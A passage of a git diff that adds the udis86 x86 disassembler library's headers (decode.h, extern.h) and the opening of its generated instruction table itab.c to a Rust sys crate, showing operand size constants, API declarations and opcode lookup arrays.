OP_ST3, + OP_ST4, OP_ST5, OP_ST6, OP_ST7, + + OP_J, OP_S, OP_O, + OP_I1, OP_I3, OP_sI, + + OP_V, OP_W, OP_Q, OP_P, + OP_U, OP_N, OP_MU, OP_H, + OP_L, + + OP_R, OP_C, OP_D, + + OP_MR +} UD_ATTR_PACKED; + + +/* + * Operand size constants + * + * Symbolic constants for various operand sizes. Some of these constants + * are given a value equal to the width of the data (SZ_B == 8), such + * that they maybe used interchangeably in the internals. Modifying them + * will most certainly break things! + */ +typedef uint16_t ud_operand_size_t; + +#define SZ_NA 0 +#define SZ_Z 1 +#define SZ_V 2 +#define SZ_Y 3 +#define SZ_X 4 +#define SZ_RDQ 7 +#define SZ_B 8 +#define SZ_W 16 +#define SZ_D 32 +#define SZ_Q 64 +#define SZ_T 80 +#define SZ_O 12 +#define SZ_DQ 128 /* double quad */ +#define SZ_QQ 256 /* quad quad */ + +/* + * Complex size types; that encode sizes for operands of type MR (memory or + * register); for internal use only. Id space above 256. + */ +#define SZ_BD ((SZ_B << 8) | SZ_D) +#define SZ_BV ((SZ_B << 8) | SZ_V) +#define SZ_WD ((SZ_W << 8) | SZ_D) +#define SZ_WV ((SZ_W << 8) | SZ_V) +#define SZ_WY ((SZ_W << 8) | SZ_Y) +#define SZ_DY ((SZ_D << 8) | SZ_Y) +#define SZ_WO ((SZ_W << 8) | SZ_O) +#define SZ_DO ((SZ_D << 8) | SZ_O) +#define SZ_QO ((SZ_Q << 8) | SZ_O) + + +/* resolve complex size type. + */ +static UD_INLINE ud_operand_size_t +Mx_mem_size(ud_operand_size_t size) +{ + return (size >> 8) & 0xff; +} + +static UD_INLINE ud_operand_size_t +Mx_reg_size(ud_operand_size_t size) +{ + return size & 0xff; +} + +/* A single operand of an entry in the instruction table. + * (internal use only) + */ +struct ud_itab_entry_operand +{ + enum ud_operand_code type; + ud_operand_size_t size; +}; + + +/* A single entry in an instruction table. + *(internal use only) + */ +struct ud_itab_entry +{ + enum ud_mnemonic_code mnemonic; + struct ud_itab_entry_operand operand1; + struct ud_itab_entry_operand operand2; + struct ud_itab_entry_operand operand3; + struct ud_itab_entry_operand operand4; + uint32_t prefix; +}; + +struct ud_lookup_table_list_entry { + const uint16_t *table; + enum ud_table_type type; + const char *meta; +}; + +extern struct ud_itab_entry ud_itab[]; +extern struct ud_lookup_table_list_entry ud_lookup_table_list[]; + +#endif /* UD_DECODE_H */ + +/* vim:cindent + * vim:expandtab + * vim:ts=4 + * vim:sw=4 + */ diff --git a/lib/libudis86-sys/libudis86/extern.h b/lib/libudis86-sys/libudis86/extern.h new file mode 100644 index 0000000..71a01fd --- /dev/null +++ b/lib/libudis86-sys/libudis86/extern.h @@ -0,0 +1,113 @@ +/* udis86 - libudis86/extern.h + * + * Copyright (c) 2002-2009, 2013 Vivek Thampi + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without modification, + * are permitted provided that the following conditions are met: + * + * * Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * * Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED + * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON + * ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ +#ifndef UD_EXTERN_H +#define UD_EXTERN_H + +#ifdef __cplusplus +extern "C" { +#endif + +#include "types.h" + +#if defined(_MSC_VER) && defined(_USRDLL) +# ifdef LIBUDIS86_EXPORTS +# define LIBUDIS86_DLLEXTERN __declspec(dllexport) +# else +# define LIBUDIS86_DLLEXTERN __declspec(dllimport) +# endif +#else +# define LIBUDIS86_DLLEXTERN +#endif + +/* ============================= PUBLIC API ================================= */ + +extern LIBUDIS86_DLLEXTERN void ud_init(struct ud*); + +extern LIBUDIS86_DLLEXTERN void ud_set_mode(struct ud*, uint8_t); + +extern LIBUDIS86_DLLEXTERN void ud_set_pc(struct ud*, uint64_t); + +extern LIBUDIS86_DLLEXTERN void ud_set_input_hook(struct ud*, int (*)(struct ud*)); + +extern LIBUDIS86_DLLEXTERN void ud_set_input_buffer(struct ud*, const uint8_t*, size_t); + +#ifndef __UD_STANDALONE__ +extern LIBUDIS86_DLLEXTERN void ud_set_input_file(struct ud*, FILE*); +#endif /* __UD_STANDALONE__ */ + +extern LIBUDIS86_DLLEXTERN void ud_set_vendor(struct ud*, unsigned); + +extern LIBUDIS86_DLLEXTERN void ud_set_syntax(struct ud*, void (*)(struct ud*)); + +extern LIBUDIS86_DLLEXTERN void ud_input_skip(struct ud*, size_t); + +extern LIBUDIS86_DLLEXTERN int ud_input_end(const struct ud*); + +extern LIBUDIS86_DLLEXTERN unsigned int ud_decode(struct ud*); + +extern LIBUDIS86_DLLEXTERN unsigned int ud_disassemble(struct ud*); + +extern LIBUDIS86_DLLEXTERN void ud_translate_intel(struct ud*); + +extern LIBUDIS86_DLLEXTERN void ud_translate_att(struct ud*); + +extern LIBUDIS86_DLLEXTERN const char* ud_insn_asm(const struct ud* u); + +extern LIBUDIS86_DLLEXTERN const uint8_t* ud_insn_ptr(const struct ud* u); + +extern LIBUDIS86_DLLEXTERN uint64_t ud_insn_off(const struct ud*); + +extern LIBUDIS86_DLLEXTERN const char* ud_insn_hex(struct ud*); + +extern LIBUDIS86_DLLEXTERN unsigned int ud_insn_len(const struct ud* u); + +extern LIBUDIS86_DLLEXTERN const struct ud_operand* ud_insn_opr(const struct ud *u, unsigned int n); + +extern LIBUDIS86_DLLEXTERN int ud_opr_is_sreg(const struct ud_operand *opr); + +extern LIBUDIS86_DLLEXTERN int ud_opr_is_gpr(const struct ud_operand *opr); + +extern LIBUDIS86_DLLEXTERN enum ud_mnemonic_code ud_insn_mnemonic(const struct ud *u); + +extern LIBUDIS86_DLLEXTERN const char* ud_lookup_mnemonic(enum ud_mnemonic_code c); + +extern LIBUDIS86_DLLEXTERN void ud_set_user_opaque_data(struct ud*, void*); + +extern LIBUDIS86_DLLEXTERN void* ud_get_user_opaque_data(const struct ud*); + +extern LIBUDIS86_DLLEXTERN void ud_set_asm_buffer(struct ud *u, char *buf, size_t size); + +extern LIBUDIS86_DLLEXTERN void ud_set_sym_resolver(struct ud *u, + const char* (*resolver)(struct ud*, + uint64_t addr, + int64_t *offset)); + +/* ========================================================================== */ + +#ifdef __cplusplus +} +#endif +#endif /* UD_EXTERN_H */ diff --git a/lib/libudis86-sys/libudis86/itab.c b/lib/libudis86-sys/libudis86/itab.c new file mode 100644 index 0000000..953f3e5 --- /dev/null +++ b/lib/libudis86-sys/libudis86/itab.c @@ -0,0 +1,5946 @@ +/* itab.c -- generated by udis86:scripts/ud_itab.py, do no edit */ +#include "decode.h" + +#define GROUP(n) (0x8000 | (n)) +#define INVALID 0 + + +const uint16_t ud_itab__0[] = { + /* 0 */ 15, 16, 17, 18, + /* 4 */ 19, 20, GROUP(1), GROUP(2), + /* 8 */ 964, 965, 966, 967, + /* c */ 968, 969, GROUP(3), GROUP(4), + /* 10 */ 5, 6, 7, 8, + /* 14 */ 9, 10, GROUP(284), GROUP(285), + /* 18 */ 1336, 1337, 1338, 1339, + /* 1c */ 1340, 1341, GROUP(286), GROUP(287), + /* 20 */ 49, 50, 51, 52, + /* 24 */ 53, 54, INVALID, GROUP(288), + /* 28 */ 1407, 1408, 1409, 1410, + /* 2c */ 1411, 1412, INVALID, GROUP(289), + /* 30 */ 1487, 1488, 1489, 1490, + /* 34 */ 1491, 1492, INVALID, GROUP(290), + /* 38 */ 100, 101, 102, 103, + /* 3c */ 104, 105, INVALID, GROUP(291), + /* 40 */ 699, 700, 701, 702, + /* 44 */ 703, 704, 705, 706, + /* 48 */ 175, 176, 177, 178, + /* 4c */ 179, 180, 181, 182, + /* 50 */ 1246, 1247, 1248, 1249, + /* 54 */ 1250, 1251, 1252, 1253, + /* 58 */ 1101, 1102, 1103, 1104, + /* 5c */ 1105, 1106, 1107, 1108, + /* 60 */ GROUP(292), GROUP(295), GROUP(298), GROUP(299), + /* 64 */ INVALID, INVALID, INVALID, INVALID, + /* 68 */ 1254, 697, 1256, 698, + /* 6c */ 709, GROUP(300), 982, GROUP(301), + /* 70 */ 726, 728, 730, 732, + /* 74 */ 734, 736, 738, 740, + /* 78 */ 742, 744, 746, 748, + /* 7c */ 750, 752, 754, 756, + /* 80 */ GROUP(302), GROUP(303), GROUP(304), GROUP(313), + /* 84 */ 1433, 1434, 1475, 1476, + /* 88 */ 828, 829, 830, 831, + /* 8c */ 832, 770, 833, GROUP(314), + /* 90 */ 1477, 1478, 1479, 1480, + /* 94 */ 1481, 1482, 1483, 1484, + /* 98 */ GROUP(315), GROUP(316), GROUP(317), 1470, + /* 9c */ GROUP(318), GROUP(322), 1310, 766, + /* a0 */ 834, 835, 836, 837, + /* a4 */ 922, GROUP(326), 114, GROUP(327), + /* a8 */ 1435, 1436, 1402, GROUP(328), + /* ac */ 790, GROUP(329), 1346, GROUP(330), + /* b0 */ 838, 839, 840, 841, + /* b4 */ 842, 843, 844, 845, + /* b8 */ 846, 847, 848, 849, + /* bc */ 850, 851, 852, 853, + /* c0 */ GROUP(331), GROUP(332), 1301, 1302, + /* c4 */ GROUP(333), GROUP(403), GROUP(405), GROUP(406), + /* c8 */ 200, 776, 1303, 1304, + /* cc */ 713, 714, GROUP(407), GROUP(408), + /* d0 */ GROUP(409), GROUP(410), GROUP(411), GROUP(412), + /* d4 */ GROUP(413), GROUP(414), GROUP(415), 1486, + /* d8 */ GROUP(416), GROUP(419), GROUP(422), GROUP(425), + /* dc */ GROUP(428), GROUP(431), GROUP(434), GROUP(437), + /* e0 */ 794, 795, 796, GROUP(440), + /* e4 */ 690, 691, 978, 979, + /* e8 */ 72, 763, GROUP(441), 765, + /* ec */ 692, 693, 980, 981, + /* f0 */ 789, 712, 1299, 1300, + /* f4 */ 687, 83, GROUP(442), GROUP(443), + /* f8 */ 77, 1395, 81, 1398, + /* fc */ 78, 1396, GROUP(444), GROUP(445), +}; + +static const uint16_t ud_itab__1[] = { + /* 0 */ 1240, INVALID, +}; + +static const uint16_t ud_itab__2[] = { + /* 0 */ 1096, INVALID, +}; + +static const uint16_t ud_itab__3[] = { + /* 0 */ 1241, INVALID, +}; + +static const uint16_t ud_itab__4[] = { + /* 0 */ GROUP(5), GROUP(6), 767, 797, + /* 4 */ INVALID, 1426, 82, 1431, + /* 8 */ 716, 1471, INVALID, 1444, + /* c */ INVALID, GROUP(27), 430, GROUP(28), + /* 10 */ GROUP(29), GROUP(30), GROUP(31), GROUP(34), + /* 14 */ GROUP(35), GROUP(36), GROUP(37), GROUP(40), + /* 18 */ GROUP(41), 955, 956, 957, + /* 1c */ 958, 959, 960, 961, + /* 20 */ 854, 855, 856, 857, + /* 24 */ INVALID, INVALID, INVALID, INVALID, + /* 28 */ GROUP(42), GROUP(43), GROUP(44), GROUP(45), + /* 2c */ GROUP(46), GROUP(47), GROUP(48), GROUP(49), + /* 30 */ 1472, 1297, 1295, 1296, + /* 34 */ GROUP(50), GROUP(52), INVALID, 1514, + /* 38 */ GROUP(54), INVALID, GROUP(116), INVALID, + /* 3c */ INVALID, INVALID, INVALID, INVALID, + /* 40 */ 84, 85, 86, 87, + /* 44 */ 88, 89, 90, 91, + /* 48 */ 92, 93, 94, 95, + /* 4c */ 96, 97, 98, 99, + /* 50 */ GROUP(143), GROUP(144), GROUP(145), GROUP(146), + /* 54 */ GROUP(147), GROUP(148), GROUP(149), GROUP(150), + /* 58 */ GROUP(151), GROUP(152), GROUP(153), GROUP(154), + /* 5c */ GROUP(155), GROUP(156), GROUP(157), GROUP(158), + /* 60 */ GROUP(159), GROUP(160), GROUP(161), GROUP(162), + /* 64 */ GROUP(163), GROUP(164), GROUP(165), GROUP(166), + /* 68 */ GROUP(167), GROUP(168), GROUP(169), GROUP(170), + /* 6c */ GROUP(171), GROUP(172), GROUP(173), GROUP(176), + /* 70 */ GROUP(177), GROUP(178), GROUP(182), GROUP(186), + /* 74 */ GROUP(191), GROUP(192), GROUP(193), 199, + /* 78 */ GROUP(194), GROUP(195), INVALID, INVALID, + /* 7c */ GROUP(196), GROUP(197), GROUP(198), GROUP(201), + /* 80 */ 727, 729, 731, 733, + /* 84 */ 735, 737, 739, 741, + /* 88 */ 743, 745, 747, 749, + /* 8c */ 751, 753, 755, 757, + /* 90 */ 1350, 1351, 1352, 1353, + /* 94 */ 1354, 1355, 1356, 1357, + /* 98 */ 1358, 1359, 1360, 1361, + /* 9c */ 1362, 1363, 1364, 1365, + /* a0 */ 1245, 1100, 131, 1670, + /* a4 */ 1375, 1376, GROUP(202), GROUP(207), + /* a8 */ 1244, 1099, 1305, 1675, + /* ac */ 1377, 1378, GROUP(215), 694, + /* b0 */ 122, 123, 775, 1673, + /* b4 */ 772, 773, 940, 941, + /* b8 */ GROUP(221), INVALID, GROUP(222), 1671, + /* bc */ 1659, 1660, 930, 931, + /* c0 */ 1473, 1474, GROUP(223), 904, + /* c4 */ GROUP(224), GROUP(225), GROUP(226), GROUP(227), + /* c8 */ 1661, 1662, 1663, 1664, + /* cc */ 1665, 1666, 1667, 1668, + /* d0 */ GROUP(236), GROUP(237), GROUP(238), GROUP(239), + /* d4 */ GROUP(240), GROUP(241), GROUP(242), GROUP(243), + /* d8 */ GROUP(244), GROUP(245), GROUP(246), GROUP(247), + /* dc */ GROUP(248), GROUP(249), GROUP(250), GROUP(251), + /* e0 */ GROUP(252), GROUP(253), GROUP(254), GROUP(255), + /* e4 */ GROUP(256), GROUP(257), GROUP(258), GROUP(259), + /* e8 */ GROUP(260), GROUP(261), GROUP(262), GROUP(263), + /* ec */ GROUP(264), GROUP(265), GROUP(266), GROUP(267), + /* f0 */ GROUP(268), GROUP(269), GROUP(270), GROUP(271), + /* f4 */ GROUP(272), GROUP(273), GROUP(274), GROUP(275), + /* f8 */ GROUP(277), GROUP(278), GROUP(279), GROUP(280), + /* fc */ GROUP(281), GROUP(282), GROUP(283), INVALID, +}; + +static const uint16_t ud_itab__5[] = { + /* 0 */ 1384, 1406, 786, 798, + /* 4 */ 1453, 1454, INVALID, INVALID, +}; + +static const uint16_t ud_itab__6[] = { + /* 0 */ GROUP(7), GROUP(8), +}; + +static const uint16_t ud_itab__7[] = { + /* 0 */ 1374, 1383, 785, 774, + /* 4 */ 1385, INVALID, 787, 719, +}; + +static const uint16_t ud_itab__8[] = { + /* 0 */ GROUP(9), GROUP(14), GROUP(15), GROUP(16), + /* 4 */ 1386, INVALID, 788, GROUP(25), +}; + +static const uint16_t ud_itab__9[] = { + /* 0 */ INVALID, GROUP(10), GROUP(11), GROUP(12), + /* 4 */ GROUP(13), INVALID, INVALID, INVALID, +}; + +static const uint16_t ud_itab__10[] = { + /* 0 */ INVALID, 1455, INVALID, +}; + +static const uint16_t ud_itab__11[] = { + /* 0 */ INVALID, 1461, INVALID, +}; + +static const uint16_t ud_itab__12[] = { + /* 0 */ INVALID, 1462, INVALID, +}; + +static const uint16_t ud_itab__13[] = { + /* 0 */ INVALID, 1463, INVALID, +}; + +static const uint16_t ud_itab__14[] = { + /* 0 */ 824, 952, INVALID, INVALID, + /* 4 */ INVALID, INVALID, INVALID, INVALID, +}; + +static const uint16_t ud_itab__15[] = { + /* 0 */ 1485, 1508, INVALID, INVALID, + /* 4 */ INVALID, INVALID, INVALID, INVALID, +}; + +static const uint16_t ud_itab__16[] = { + /* 0 */ GROUP(17), GROUP(18), GROUP(19), GROUP(20), + /* 4 */ GROUP(21), GROUP(22), GROUP(23), GROUP(24), +}; + +static const uint16_t ud_itab__17[] = { + /* 0 */ 1466, INVALID, INVALID, +}; + +static const uint16_t ud_itab__18[] = { + /* 0 */ 1467, INVALID, INVALID, +}; + +static const uint16_t ud_itab__19[] = { + /* 0 */ 1468, INVALID, INVALID, +}; + +static const uint16_t ud_itab__20[] = { + /* 0 */ 1469, INVALID, INVALID, +}; + +static const uint16_t ud_itab__21[] = { + /* 0 */ 1397, INVALID, INVALID, +}; + +static const uint16_t ud_itab__22[] = { + /* 0 */ 80, INVALID, INVALID, +}; + +static const uint16_t ud_itab__23[] = { + /* 0 */ 1399, INVALID, INVALID, +}; + +static const uint16_t ud_itab__24[] = { + /* 0 */ 720, INVALID, INVALID, +}; + +static const uint16_t ud_itab__25[] = { + /* 0 */ 1425, GROUP(26), INVALID, INVALID, + /* 4 */ INVALID, INVALID, INVALID, INVALID, +}; + +static const uint16_t ud_itab__26[] = { + /* 0 */ 1298, INVALID, INVALID, +}; + +static const uint16_t ud_itab__27[] = { + /* 0 */ 1119, 1120, 1121, 1122, + /* 4 */ 1123, 1124, 1125, 1126, +}; + +static const uint16_t ud_itab__28[] = { + /* 0 */ INVALID, INVALID, INVALID, INVALID, + /* 4 */ INVALID, INVALID, INVALID, INVALID, + /* 8 */ INVALID, INVALID, INVALID, INVALID, + /* c */ 1216, 1217, INVALID, INVALID, + /* 10 */ INVALID, INVALID, INVALID, INVALID, + /* 14 */ INVALID, INVALID, INVALID, INVALID, + /* 18 */ INVALID, INVALID, INVALID, INVALID, + /* 1c */ 1218, 1219, INVALID, INVALID, + /* 20 */ INVALID, INVALID, INVALID, INVALID, + /* 24 */ INVALID, INVALID, INVALID, INVALID, + /* 28 */ INVALID, INVALID, INVALID, INVALID, + /* 2c */ INVALID, INVALID, INVALID, INVALID, + /* 30 */ INVALID, INVALID, INVALID, INVALID, + /* 34 */ INVALID, INVALID, INVALID, INVALID, + /* 38 */ INVALID, INVALID, INVALID, INVALID, + /* 3c */ INVALID, INVALID, INVALID, INVALID, + /* 40 */ INVALID, INVALID, INVALID, INVALID, + /* 44 */ INVALID, INVALID, INVALID, INVALID, + /* 48 */ INVALID, INVALID, INVALID, INVALID, + /* 4c */ INVALID, INVALID, INVALID, INVALID, + /* 50 */ INVALID, INVALID, INVALID, INVALID, + /* 54 */ INVALID, INVALID, INVALID, INVALID, + /* 58 */ INVALID, INVALID, INVALID, INVALID, + /* 5c */ INVALID, INVALID, INVALID, INVALID, + /* 60 */ INVALID, INVALID, INVALID, INVALID, + /* 64 */ INVALID, INVALID, INVALID, INVALID, + /* 68 */ INVALID, INVALID, INVALID, INVALID, + /* 6c */ INVALID, INVALID, INVALID, INVALID, + /* 70 */ INVALID, INVALID, INVALID, INVALID, + /* 74 */ INVALID, INVALID, INVALID, INVALID, + /* 78 */ INVALID, INVALID, INVALID, INVALID, + /* 7c */ INVALID, INVALID, INVALID, INVALID, + /* 80 */ INVALID, INVALID, INVALID, INVALID, + /* 84 */ INVALID, INVALID, INVALID, INVALID, + /* 88 */ INVALID, INVALID, 1220, INVALID, + /* 8c */ INVALID, INVALID, 1221, INVALID, + /* 90 */ 1222, INVALID, INVALID, INVALID, + /* 94 */ 1223, INVALID, 1224, 1225, + /* 98 */ INVALID, INVALID, 1226, INVALID, + /* 9c */ INVALID, INVALID, 1227, INVALID, + /* a0 */ 1228, INVALID, INVALID, INVALID, + /* a4 */ 1229, INVALID, 1230, 1231, + /* a8 */ INVALID, INVALID, 1232, INVALID, + /* ac */ INVALID, INVALID, 1233, INVALID, + /* b0 */ 1234, INVALID, INVALID, INVALID, + /* b4 */ 1235, INVALID, 1236, 1237, + /* b8 */ INVALID, INVALID, INVALID, 1238, + /* bc */ INVALID, INVALID, INVALID, 1239, + /* c0 */ INVALID, INVALID, INVALID, INVALID, + /* c4 */ INVALID, INVALID, INVALID, INVALID, + /* c8 */ INVALID, INVALID, INVALID, INVALID, + /* cc */ INVALID, INVALID, INVALID, INVALID, + /* d0 */ INVALID, INVALID, INVALID, INVALID, + /* d4 */ INVALID, INVALID, INVALID, INVALID, + /* d8 */ INVALID, INVALID, INVALID, INVALID, + /* dc */ INVALID, INVALID, INVALID, INVALID, + /* e0 */ INVALID, INVALID, INVALID, INVALID, + /* e4 */ INVALID, INVALID, INVALID, INVALID, + /* e8 */ INVALID, INVALID, INVALID, INVALID, + /* ec */ INVALID, INVALID, INVALID, INVALID, + /* f0 */ INVALID, INVALID, INVALID, INVALID, + /* f4 */ INVALID, INVALID, INVALID, INVALID, + /* f8 */ INVALID, INVALID, INVALID, INVALID, + /* fc */ INVALID, INVALID, INVALID, INVALID, +}; + +static const uint16_t ud_itab__29[] = { + /* 0 */ 936, 925, 928, 932, +}; + +static const uint16_t ud_itab__30[] = { + /* 0 */ 938, 926, 929, 934, +}; + +static const uint16_t ud_itab__31[] = { + /* 0 */ GROUP(32), GROUP(33), +}; + +static const uint16_t ud_itab__32[] = { + /* 0 */ 892, 1563, 1571, 888, +}; + +static const uint16_t ud_itab__33[] = { + /* 0 */ 896, 1561, 1569, INVALID, +}; + +static const uint16_t ud_itab__34[] = { + /* 0 */ 894, INVALID, INVALID, 890, +}; + +static const uint16_t ud_itab__35[] = { + /* 0 */ 1449, INVALID, INVALID, 1451, +}; + +static const uint16_t ud_itab__36[] = { + /* 0 */ 1447, INVALID, INVALID, 1445, +}; + +static const uint16_t ud_itab__37[] = { + /* 0 */ GROUP(38), GROUP(39), +}; + +static const uint16_t ud_itab__38[] = { + /* 0 */ 882, INVALID, 1567, 878, +}; + +static const uint16_t ud_itab__39[] = { + /* 0 */ 886, INVALID, 1565, INVALID, +}; + +static const uint16_t ud_itab__40[] = { + /* 0 */ 884, INVALID, INVALID, 880, +}; + +static const uint16_t ud_itab__41[] = { + /* 0 */ 1127, 1128, 1129, 1130, + /* 4 */ INVALID, INVALID, INVALID, INVALID, +}; + +static const uint16_t ud_itab__42[] = { + /* 0 */ 862, INVALID, INVALID, 858, +}; + +static const uint16_t ud_itab__43[] = { + /* 0 */ 864, INVALID, INVALID, 860, +}; + +static const uint16_t ud_itab__44[] = { + /* 0 */ 141, 152, 154, 142, +}; + +static const uint16_t ud_itab__45[] = { + /* 0 */ 907, INVALID, INVALID, 905, +}; + +static const uint16_t ud_itab__46[] = { + /* 0 */ 165, 166, 168, 162, +}; + +static const uint16_t ud_itab__47[] = { + /* 0 */ 147, 148, 158, 138, +}; + +static const uint16_t ud_itab__48[] = { + /* 0 */ 1442, INVALID, INVALID, 1440, +}; + +static const uint16_t ud_itab__49[] = { + /* 0 */ 129, INVALID, INVALID, 127, +}; + +static const uint16_t ud_itab__50[] = { + /* 0 */ 1427, GROUP(51), +}; + +static const uint16_t ud_itab__51[] = { + /* 0 */ INVALID, 1428, INVALID, +}; + +static const uint16_t ud_itab__52[] = { + /* 0 */ 1429, GROUP(53), +}; + +static const uint16_t ud_itab__53[] = { + /* 0 */ INVALID, 1430, INVALID, +}; + +static const uint16_t ud_itab__54[] = { + /* 0 */ GROUP(67), GROUP(68), GROUP(63), GROUP(64), + /* 4 */ GROUP(65), GROUP(66), GROUP(86), GROUP(90), + /* 8 */ GROUP(69), GROUP(70), GROUP(71), GROUP(72), + /* c */ INVALID, INVALID, INVALID, INVALID, + /* 10 */ GROUP(73), INVALID, INVALID, INVALID, + /* 14 */ GROUP(75), GROUP(76), INVALID, GROUP(77), + /* 18 */ INVALID, INVALID, INVALID, INVALID, + /* 1c */ GROUP(78), GROUP(79), GROUP(80), INVALID, + /* 20 */ GROUP(81), GROUP(82), GROUP(83), GROUP(84), + /* 24 */ GROUP(85), GROUP(108), INVALID, INVALID, + /* 28 */ GROUP(87), GROUP(88), GROUP(89), GROUP(74), + /* 2c */ INVALID, INVALID, INVALID, INVALID, + /* 30 */ GROUP(91), GROUP(92), GROUP(93), GROUP(94), + /* 34 */ GROUP(95), GROUP(96), INVALID, GROUP(97), + /* 38 */ GROUP(98), GROUP(99), GROUP(100), GROUP(101), + /* 3c */ GROUP(102), GROUP(103), GROUP(104), GROUP(105), + /* 40 */ GROUP(106), GROUP(107), INVALID, INVALID, + /* 44 */ INVALID, INVALID, INVALID, INVALID, + /* 48 */ INVALID, INVALID, INVALID, INVALID, + /* 4c */ INVALID, INVALID, INVALID, INVALID, + /* 50 */ INVALID, INVALID, INVALID, INVALID, + /* 54 */ INVALID, INVALID, INVALID, INVALID, + /* 58 */ INVALID, INVALID, INVALID, INVALID, + /* 5c */ INVALID, INVALID, INVALID, INVALID, + /* 60 */ INVALID, INVALID, INVALID, INVALID, + /* 64 */ INVALID, INVALID, INVALID, INVALID, + /* 68 */ INVALID, INVALID, INVALID, INVALID, + /* 6c */ INVALID, INVALID, INVALID, INVALID, + /* 70 */ INVALID, INVALID, INVALID, INVALID, + /* 74 */ INVALID, INVALID, INVALID, INVALID, + /* 78 */ INVALID, INVALID, INVALID, INVALID, + /* 7c */ INVALID, INVALID, INVALID, INVALID, + /* 80 */ GROUP(55), GROUP(59), INVALID, INVALID, + /* 84 */ INVALID, INVALID, INVALID, INVALID, + /* 88 */ INVALID, INVALID, INVALID, INVALID, + /* 8c */ INVALID, INVALID, INVALID, INVALID, + /* 90 */ INVALID, INVALID, INVALID, INVALID, + /* 94 */ INVALID, INVALID, INVALID, INVALID, + /* 98 */ INVALID, INVALID, INVALID, INVALID, + /* 9c */ INVALID, INVALID, INVALID, INVALID, + /* a0 */ INVALID, INVALID, INVALID, INVALID, + /* a4 */ INVALID, INVALID, INVALID, INVALID, + /* a8 */ INVALID, INVALID, INVALID, INVALID, + /* ac */ INVALID, INVALID, INVALID, INVALID, + /* b0 */ INVALID, INVALID, INVALID, INVALID, + /* b4 */ INVALID, INVALID, INVALID, INVALID, + /* b8 */ INVALID, INVALID, INVALID, INVALID, + /* bc */ INVALID, INVALID, INVALID, INVALID, + /* c0 */ INVALID, INVALID, INVALID, INVALID, + /* c4 */ INVALID, INVALID, INVALID, INVALID, + /* c8 */ INVALID, INVALID, INVALID, INVALID, + /* cc */ INVALID, INVALID, INVALID, INVALID, + /* d0 */ INVALID, INVALID, INVALID, INVALID, + /* d4 */ INVALID, INVALID, INVALID, INVALID, + /* d8 */ INVALID, INVALID, INVALID, GROUP(109), + /* dc */ GROUP(110), GROUP(111), GROUP(112), GROUP(113), + /* e0 */ INVALID, INVALID, INVALID, INVALID, + /* e4 */ INVALID, INVALID, INVALID, INVALID, + /* e8 */ INVALID, INVALID, INVALID, INVALID, + /* ec */ INVALID, INVALID, INVALID, INVALID, + /* f0 */ GROUP(114), GROUP(115), INVALID, INVALID, + /* f4 */ INVALID, INVALID, INVALID, INVALID, + /* f8 */ INVALID, INVALID, INVALID, INVALID, + /* fc */ INVALID, INVALID, INVALID, INVALID, +}; + +static const uint16_t ud_itab__55[] = { + /* 0 */ INVALID, INVALID, INVALID, GROUP(56), +}; + +static const uint16_t ud_itab__56[] = { + /* 0 */ GROUP(57), GROUP(58), +}; + +static const uint16_t ud_itab__57[] = { + /* 0 */ INVALID, 717, INVALID, +}; + +static const uint16_t ud_itab__58[] = { + /* 0 */ INVALID, 718, INVALID, +}; + +static const uint16_t ud_itab__59[] = { + /* 0 */ INVALID, INVALID, INVALID, GROUP(60), +}; + +static const uint16_t ud_itab__60[] = { + /* 0 */ GROUP(61), GROUP(62), +}; + +static const uint16_t ud_itab__61[] = { + /* 0 */ INVALID, 721, INVALID, +}; + +static const uint16_t ud_itab__62[] = { + /* 0 */ INVALID, 722, INVALID, +}; + +static const uint16_t ud_itab__63[] = { + /* 0 */ 1588, INVALID, INVALID, 1589, +}; + +static const uint16_t ud_itab__64[] = { + /* 0 */ 1591, INVALID, INVALID, 1592, +}; + +static const uint16_t ud_itab__65[] = { + /* 0 */ 1594, INVALID, INVALID, 1595, +}; + +static const uint16_t ud_itab__66[] = { + /* 0 */ 1597, INVALID, INVALID, 1598, +}; + +static const uint16_t ud_itab__67[] = { + /* 0 */ 1582, INVALID, INVALID, 1583, +}; + +static const uint16_t ud_itab__68[] = { + /* 0 */ 1585, INVALID, INVALID, 1586, +}; + +static const uint16_t ud_itab__69[] = { + /* 0 */ 1606, INVALID, INVALID, 1607, +}; + +static const uint16_t ud_itab__70[] = { + /* 0 */ 1612, INVALID, INVALID, 1613, +}; + +static const uint16_t ud_itab__71[] = { + /* 0 */ 1609, INVALID, INVALID, 1610, +}; + +static const uint16_t ud_itab__72[] = { + /* 0 */ 1615, INVALID, INVALID, 1616, +}; + +static const uint16_t ud_itab__73[] = { + /* 0 */ INVALID, INVALID, INVALID, 1621, +}; + +static const uint16_t ud_itab__74[] = { + /* 0 */ INVALID, INVALID, INVALID, 1683, +}; + +static const uint16_t ud_itab__75[] = { + /* 0 */ INVALID, INVALID, INVALID, 1657, +}; + +static const uint16_t ud_itab__76[] = { + /* 0 */ INVALID, INVALID, INVALID, 1656, +}; + +static const uint16_t ud_itab__77[] = { + /* 0 */ INVALID, INVALID, INVALID, 1711, +}; + +static const uint16_t ud_itab__78[] = { + /* 0 */ 1573, INVALID, INVALID, 1574, +}; + +static const uint16_t ud_itab__79[] = { + /* 0 */ 1576, INVALID, INVALID, 1577, +}; + +static const uint16_t ud_itab__80[] = { + /* 0 */ 1579, INVALID, INVALID, 1580, +}; + +static const uint16_t 